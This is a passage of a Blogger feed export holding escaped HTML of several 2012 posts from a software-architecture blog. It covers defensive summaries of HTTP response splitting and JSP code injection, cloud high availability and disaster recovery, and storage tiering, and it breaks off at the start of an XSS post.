&lt;div class=&quot;ListBulleted&quot; style=&quot;mso-list: l0 level1 lfo1; page-break-after: avoid;&quot;&gt;
&lt;span style=&quot;font-family: Symbol;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;Cross User attacks (single user, single page,
temporary defacement) &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;mso-list: l0 level1 lfo1; page-break-after: avoid;&quot;&gt;
&lt;span style=&quot;font-family: Symbol;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;Hijacking pages &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;mso-list: l0 level1 lfo1; page-break-after: avoid;&quot;&gt;
&lt;span style=&quot;font-family: Symbol;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;Browser cache poisoning&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;HeadC&quot;&gt;
In HTTP, the headers and body are separated by a double carriage
return line feed sequence. If the attacker can insert data into a header, such
as the location header (used in redirects) or in the cookie, and if the
application does not protect against CRLF injection, it is quite likely that
the application will be vulnerable to HTTP Response Splitting. The attack
injects two responses (thus the name), where the first response is the
attacker’s payload, and the second response containing the rest of the user’s
actual output, is usually ignored by the web server.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;HeadC&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;HeadC&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;HeadB&quot;&gt;
&lt;b&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=2716531555213613403&quot; name=&quot;_Toc520956584&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=2716531555213613403&quot; name=&quot;_Toc519930817&quot;&gt;Code Injection&lt;/a&gt;&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
Java generally does not contain the ability to evaluate dynamic
JSPs.&amp;nbsp;However, there are two exceptions to this:&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;mso-list: l0 level1 lfo1; page-break-after: avoid;&quot;&gt;
&lt;span style=&quot;font-family: Symbol;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;Dynamic JSP inclusion (&amp;lt;jsp:include ...&amp;gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;mso-list: l0 level1 lfo1; page-break-after: avoid;&quot;&gt;
&lt;span style=&quot;font-family: Symbol;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;Using a third party JSP eval taglibs.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;mso-list: l0 level1 lfo1; page-break-after: avoid;&quot;&gt;
&lt;span style=&quot;font-family: Symbol;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;Portals and other community-based software often
require the evaluation of dynamic code for templates and skinning. If the
portal software requires dynamic includes and dynamic code execution, there is
a risk of Java or JSP code injection.&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;mso-list: l0 level1 lfo1; page-break-after: avoid;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
To combat this, the primary defenses are to&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;mso-list: l0 level1 lfo1; page-break-after: avoid;&quot;&gt;
&lt;span style=&quot;font-family: Symbol;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;Always prefer static include ( &amp;lt;% include ...
%&amp;gt; )&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;mso-list: l0 level1 lfo1; page-break-after: avoid;&quot;&gt;
&lt;span style=&quot;font-family: Symbol;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;Not allow the inclusion of files outside of the
server by using Java 2 Security policies &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;mso-list: l0 level1 lfo1; page-break-after: avoid;&quot;&gt;
&lt;span style=&quot;font-family: Symbol;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;Establish firewall rules to prevent outbound
Internet connectivity&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;mso-list: l0 level1 lfo1; page-break-after: avoid;&quot;&gt;
&lt;span style=&quot;font-family: Symbol;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;Ensure that code does not interpret user data
without prior validation.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;mso-list: l0 level1 lfo1; page-break-after: avoid;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;mso-list: l0 level1 lfo1; page-break-after: avoid;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif;&quot;&gt;Generally, dynamic inclusion and dynamic code
evaluation should be frowned upon.&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;mso-list: l0 level1 lfo1; page-break-after: avoid;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;span class=&quot;EmphasisBold&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ListBulleted&quot; style=&quot;mso-list: l0 level1 lfo1; page-break-after: avoid;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;Body&quot;&gt;
&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;a href=&quot;https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet&quot; target=&quot;_blank&quot;&gt;HTML5 Security Cheat Sheet&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;u&gt;&amp;lt;TODO&amp;gt;&lt;/u&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;u&gt;&lt;br /&gt;
&lt;/u&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;u&gt;&lt;br /&gt;
&lt;/u&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: small;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://softwarearchitectureandarchitects.blogspot.com/feeds/7426039960204002478/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/11/security-owasp-cheat-sheets-summary.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/7426039960204002478'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/7426039960204002478'/><link rel='alternate' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/11/security-owasp-cheat-sheets-summary.html' title='Security: OWASP Cheat Sheets summary'/><author><name>Manoj T.</name><uri>http://www.blogger.com/profile/12956931336710250261</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2716531555213613403.post-1104946727341640206</id><published>2012-10-28T13:59:00.000-07:00</published><updated>2012-10-28T13:59:00.644-07:00</updated><title type='text'>Cloud Computing - High Availability (HA) and Disaster Recovery</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;span style=&quot;background-color: white; color: #6d6d6d; font-family: arial, verdana, sans-serif; font-size: 14px; line-height: 22px; text-align: -webkit-auto;&quot;&gt;The goal of the traditional High Availability (HA) architecture is to mitigate or prevent application downtime or outages due to failures caused by application errors or any infrastructure failure. Disaster recovery primarily deals with falling back on the secondary site in case of a failure at the primary site.&lt;/span&gt; &lt;br /&gt;
&lt;span style=&quot;background-color: white; color: #6d6d6d; font-family: arial, verdana, sans-serif; font-size: 14px; line-height: 22px; text-align: -webkit-auto;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: #6d6d6d; font-family: arial, verdana, sans-serif; font-size: 14px; line-height: 22px; text-align: -webkit-auto;&quot;&gt;HA focuses on overcoming technology failures such as network and storage failures. DR focuses on overcoming the physical data center or infrastructure disasters. Both HA and DR focus on ensuring that applications are available 24x7 with zero or minimal downtime caused by planned or unplanned outages&lt;/span&gt; &lt;br /&gt;
&lt;span style=&quot;background-color: white; color: #6d6d6d; font-family: arial, verdana, sans-serif; font-size: 14px; line-height: 22px; text-align: -webkit-auto;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: #6d6d6d; font-family: arial, verdana, sans-serif; font-size: 14px; line-height: 22px; text-align: -webkit-auto;&quot;&gt;Recovery Time Objective (RTO):&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #6d6d6d; font-family: arial, verdana, sans-serif; font-size: 14px; line-height: 22px; text-align: -webkit-auto;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #6d6d6d; font-family: arial, verdana, sans-serif; font-size: 14px; line-height: 22px; text-align: -webkit-auto;&quot;&gt;how quickly an application must be back in operation following a failure&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: #6d6d6d; font-family: arial, verdana, sans-serif; font-size: 14px; line-height: 22px; text-align: -webkit-auto;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: #6d6d6d; font-family: arial, verdana, sans-serif; font-size: 14px; line-height: 22px; text-align: -webkit-auto;&quot;&gt;Recovery Point Objective (RPO):&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: #6d6d6d; font-family: arial, verdana, sans-serif; font-size: 14px; line-height: 22px; text-align: -webkit-auto;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: #6d6d6d; font-family: arial, verdana, sans-serif; font-size: 14px; line-height: 22px; text-align: -webkit-auto;&quot;&gt;A simple way to achieve HA/DR is by using backup and restore operations or by using cluster architecture &amp;nbsp;and finally using fault tolerant hardware. Needless to say not all organizations use fault tolerant hardware but backup/restore becomes a very slow process and could take hours or days.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: #6d6d6d; font-family: arial, verdana, sans-serif; font-size: 14px; line-height: 22px; text-align: -webkit-auto;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: #6d6d6d; font-family: arial, verdana, sans-serif; font-size: 14px; line-height: 22px; text-align: -webkit-auto;&quot;&gt;==&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: #6d6d6d; font-family: arial, verdana, sans-serif; font-size: 14px; line-height: 22px; text-align: -webkit-auto;&quot;&gt;&amp;nbsp;Data replication and HA clustering can be combined to build what is called a &quot;shared nothing cluster&quot;. The clustering technology ensures that applications and servers are operational and can perform a failover from one server to another in the event that any problems are detected. The data replication software handles mirroring data needed by the application between the servers so that no matter which server the application is running on, the data is available to it. The data replication can occur across either a LAN or across a WAN, depending on where the servers in the cluster are located.&lt;/span&gt; &lt;br /&gt;
&lt;span style=&quot;background-color: white; color: #6d6d6d; font-family: arial, verdana, sans-serif; font-size: 14px; line-height: 22px; text-align: -webkit-auto;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: #6d6d6d; font-family: arial, verdana, sans-serif; font-size: 14px; line-height: 22px; text-align: -webkit-auto;&quot;&gt;==&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: #6d6d6d; font-family: arial, verdana, sans-serif; font-size: 14px; line-height: 22px; text-align: -webkit-auto;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://softwarearchitectureandarchitects.blogspot.com/feeds/1104946727341640206/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/10/cloud-computing-high-availability-ha.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/1104946727341640206'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/1104946727341640206'/><link rel='alternate' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/10/cloud-computing-high-availability-ha.html' title='Cloud Computing - High Availability (HA) and Disaster Recovery'/><author><name>Manoj T.</name><uri>http://www.blogger.com/profile/12956931336710250261</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2716531555213613403.post-8670768312277496214</id><published>2012-10-14T11:03:00.000-07:00</published><updated>2012-10-14T11:03:00.860-07:00</updated><title type='text'>cloud Computing - Storage</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
Besides required features, performance, and cost, the criteria that typically drive customer choices are the reliability, availability, and scalability of a given storage solution. SANs are specifically designed to meet these additional criteria and satisfy the requirements of mission-critical business applications. The data center infrastructures built to run these applications typically handle large volumes of important information and data. As such, they must operate reliably and continually and be able to grow to meet increasing business volume, peak traffic, and an ever-expanding number of applications and users. The key capabilities that SANs provide to meet these requirements include&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: -webkit-auto;&quot;&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 18px;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; font-size: x-small;&quot;&gt;&lt;b&gt;Storage clustering&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; font-size: x-small;&quot;&gt;&lt;b&gt;Ease of connectivity&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; font-size: x-small;&quot;&gt;&lt;b&gt;Storage consolidation&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; font-size: x-small;&quot;&gt;&lt;b&gt;LAN-free backup&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; font-size: x-small;&quot;&gt;&lt;b&gt;Server-less backup&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; font-size: x-small;&quot;&gt;&lt;b&gt;Ease of scalability&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; font-size: x-small;&quot;&gt;&lt;b&gt;Storage and server expansion&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; font-size: x-small;&quot;&gt;&lt;b&gt;Bandwidth on demand&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; font-size: x-small;&quot;&gt;&lt;b&gt;Load balancing&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; font-size: x-small;&quot;&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; font-size: x-small;&quot;&gt;&lt;b&gt;===&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; font-size: x-small;&quot;&gt;&lt;b&gt;LV 1871 succeeded in virtualizing its servers and moving its application code base, but it felt it could take virtualization even further to benefit the business. “Our storage was principally network-attached at this point,” said Triebs. “We believed that we would improve both IT cost ratios and our computing performance for the company and its agents if we virtualized storage, and that this would also improve our capabilities of failover and data mirroring.”&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; font-size: x-small;&quot;&gt;&lt;b&gt;One of the data center agility concerns was the time and effort it took to re-provision storage with LV 1871’s network-attached storage orientation. “With the SCSI-attached storage, we did not have a dynamic infrastructure that would allow us to quickly re-provision storage when we needed to,” said Triebs. “Instead, we had to concern ourselves with the model of the hardware, the space required, a buy decision and finally implementation. This end to end process could take as long as six to twelve weeks, and it was an expensive use of internal IT resources.”&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; font-size: x-small;&quot;&gt;&lt;b&gt;LV 1871 made the decision to invest in an initially more expensive SAN (storage-attached network) solution that would pave the way for a virtualized storage framework, where different storage media could easily be tiered into fast access, more expensive disk and lower access, cheaper disk—with deployments and provisioning being accomplished in a matter of minutes, not weeks. “The virtual storage backbone not only reduced our internal costs and our speed of response, but it also allowed us to improve our failover and backup mechanisms for our two separate data centers,” said Triebs. “Data mirroring between the two data centers now takes minutes.” The virtual storage backbone has dramatically improved performance. Virtualization has given LV 1871 vendor independence as well, which lends more flexibility to buying decisions. Additional return on investment (ROI) is being seen in the new tiered storage strategy with its reduction of wasted storage space. “It costs us roughly $20/GB for faster access, tier one storage, while tier two, slower access storage costs around $8/GB,” said Triebs. “In our new tiered storage structure, we find that only one-third of our data is constantly accessed and needs to be on tier one, and we have organized our data this way. This is a primary area where we are realizing data center savings.”&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; font-size: x-small;&quot;&gt;&lt;b&gt;Along the way, Triebs and his staff learned valuable lessons about working with virtualized server and storage infrastructures. “One was a simple practice to remember to delete virtual machines when they were no longer needed,” said Triebs. “On the data side, it is also imperative to think about technologies like data deduplication before doing backups, so you do not store extraneous data. Finally, when you consider going to a LAN/SAN virtual infrastructure as your backbone, you need to consider architectural concepts, such as a split fabric with the use of virtual LANs (VLANs)—and when it comes to security you want your DMZ and LAN to be separate from each other, and hosted on separate hardware.”&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; font-size: x-small;&quot;&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif; font-size: x-small;&quot;&gt;&lt;b&gt;===&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
tiered storage&lt;br /&gt;
&lt;span style=&quot;text-align: -webkit-auto;&quot;&gt;In a tiered strategy, Tier 1 storage is reserved for demanding applications, such as databases and e-mail, that require the highest performance and can justify the cost of serial-attached SCSI, Fibre Channel SANs, high-performance RAID levels, and the fastest available spindles--or even SSD drives.&lt;/span&gt; &lt;br /&gt;
&lt;span style=&quot;text-align: -webkit-auto;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: -webkit-auto;&quot;&gt;
Direct attached storage (DAS) is still the top choice of our survey participants for Tier 1 storage of applications such as databases and e-mail. Fibre Channel came in a close second, with 45% of respondents reporting use of Fibre Channel SANs, mainly for Tier 1 storage. Fibre Channel remains strong despite countless predictions of its rapid demise by most storage pundits--and the downright offensive &quot;dead technology walking&quot; label attached by a few.&lt;/div&gt;
&lt;div style=&quot;text-align: -webkit-auto;&quot;&gt;
One survey finding that&#39;s not completely unexpected--we were tipped off by similar findings in previous InformationWeek Analytics State of Storage reports--but is nonetheless puzzling is the poor showing by iSCSI SANs, which are the main Tier 1 storage platform for just 16% of respondents. That&#39;s less than half the number who report using NAS, our third-place response. Seems most IT pros didn&#39;t get the memo that iSCSI would force Fibre Channel into early retirement.&lt;/div&gt;
&lt;div style=&quot;text-align: -webkit-auto;&quot;&gt;
In all seriousness, the continued dearth of interest in iSCSI is mystifying given the current economic backdrop, the widespread availability of iSCSI initiators in recent versions of Windows (desktop and server) and Linux, and the declining cost of 1-GB and 10-GB connectivity options. We think the slower-than-predicted rate of iSCSI adoption--and the continued success of Fibre Channel--is attributable to a few factors. First, the declining cost of Fibre Channel switches and host bus adapters improves the economic case for the technology. Second, we&#39;re seeing slower-than-expected enterprise adoption of 10-Gbps Ethernet, leaving iSCSI at a performance disadvantage against 4-GB Fibre Channel.&lt;/div&gt;
&lt;div style=&quot;text-align: -webkit-auto;&quot;&gt;
However, iSCSI&#39;s performance future does look bright thanks to emerging Ethernet standards such as 40 Gbps and 100 Gbps that will not only increase the speed limit, but also accelerate adoption of 10-Gbps Ethernet in the short term. In our practice, we also see a reluctance among CIOs to mess with a tried-and-true technology such as Fibre Channel, particularly for critical applications like ERP, e-mail, and enterprise databases. Sometimes, peace of mind is worth a price premium.&lt;/div&gt;
&lt;div style=&quot;text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: -webkit-auto;&quot;&gt;
tier 2&lt;/div&gt;
&lt;div style=&quot;text-align: -webkit-auto;&quot;&gt;
&lt;/div&gt;
Tier 2 comprises the less expensive storage, such as SATA drives, NAS, and low-cost SANs, suitable for apps like archives and backups, where high capacity and low cost are more important than blazing speed. Our survey shows that NAS is the Tier 2 architecture of choice, used by 41% of respondents. DAS is the main Tier 2 storage of 34% of respondents. Once again, iSCSI SAN finished last, with a mere 17% of respondents using the technology primarily for Tier 2 storage. This is an even more surprising result than for Tier 1--we expected iSCSI&#39;s low cost relative to Fibre Channel SANs to result in a healthy showing here.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Tier 3 storage typically consists of the lowest-cost media, such as recordable optical or WORM (write once, read many) disks, and is well suited for historical archival and long-term backups.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== growing importance of data deduplication.. but more on that some other time.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://softwarearchitectureandarchitects.blogspot.com/feeds/8670768312277496214/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/10/cloud-computing-storage.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/8670768312277496214'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/8670768312277496214'/><link rel='alternate' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/10/cloud-computing-storage.html' title='cloud Computing - Storage'/><author><name>Manoj T.</name><uri>http://www.blogger.com/profile/12956931336710250261</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2716531555213613403.post-6107879004565493337</id><published>2012-09-30T23:37:00.000-07:00</published><updated>2012-09-30T23:37:00.448-07:00</updated><title type='text'>Security: XSS and Injection attacks and prevention</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;b&gt;Background&lt;/b&gt;&lt;br /&gt;
&lt;div&gt;
Typically, an attacker tries to&amp;nbsp;interact with the server in unexpected ways to  perform unauthorized actions and access unauthorized data.&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;para&quot; id=&quot;1086-1&quot;&gt;
XSS type attacks are different, because the attacker&#39;&lt;span class=&quot;b24-hit&quot;&gt;s&lt;/span&gt; primary target is the application&#39;&lt;span class=&quot;b24-hit&quot;&gt;s&lt;/span&gt; other users. The vulnerabilities still exist within the application itself. However, the  attacker is using these vulnerabilities&amp;nbsp;to carry out malicious actions  against another end user.&lt;/div&gt;
&lt;div class=&quot;para&quot; id=&quot;1086-1&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;para&quot; id=&quot;1086-1&quot;&gt;
Attacks against other users have many&amp;nbsp;complexities&amp;nbsp;are not not well understood than server side ones.&lt;/div&gt;
&lt;div class=&quot;para&quot; id=&quot;1086-1&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;para&quot; id=&quot;1086-1&quot;&gt;
&lt;b&gt;Overview&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;para&quot; id=&quot;1086-1&quot;&gt;
XSS is one of the most prevalent web application vulnerability found in the wild (2nd most common as per OWASP).&lt;/div&gt;
&lt;div class=&quot;para&quot; id=&quot;1086-1&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;para&quot; id=&quot;1086-1&quot;&gt;
XSS typically represents a critical security weakness within an application. It can  often be combined with other vulnerabilities for malicious purposes.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;para&quot; id=&quot;1086-1&quot;&gt;
It&#39;s even possible to turn an XSS attack into a virus or self-propagating worm&lt;/div&gt;
&lt;div class=&quot;para&quot; id=&quot;1086-1&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;para&quot; id=&quot;1086-1&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;para&quot; id=&quot;1086-1&quot;&gt;
What happened?&lt;/div&gt;
&lt;div class=&quot;para&quot; id=&quot;1086-1&quot;&gt;
&lt;/div&gt;
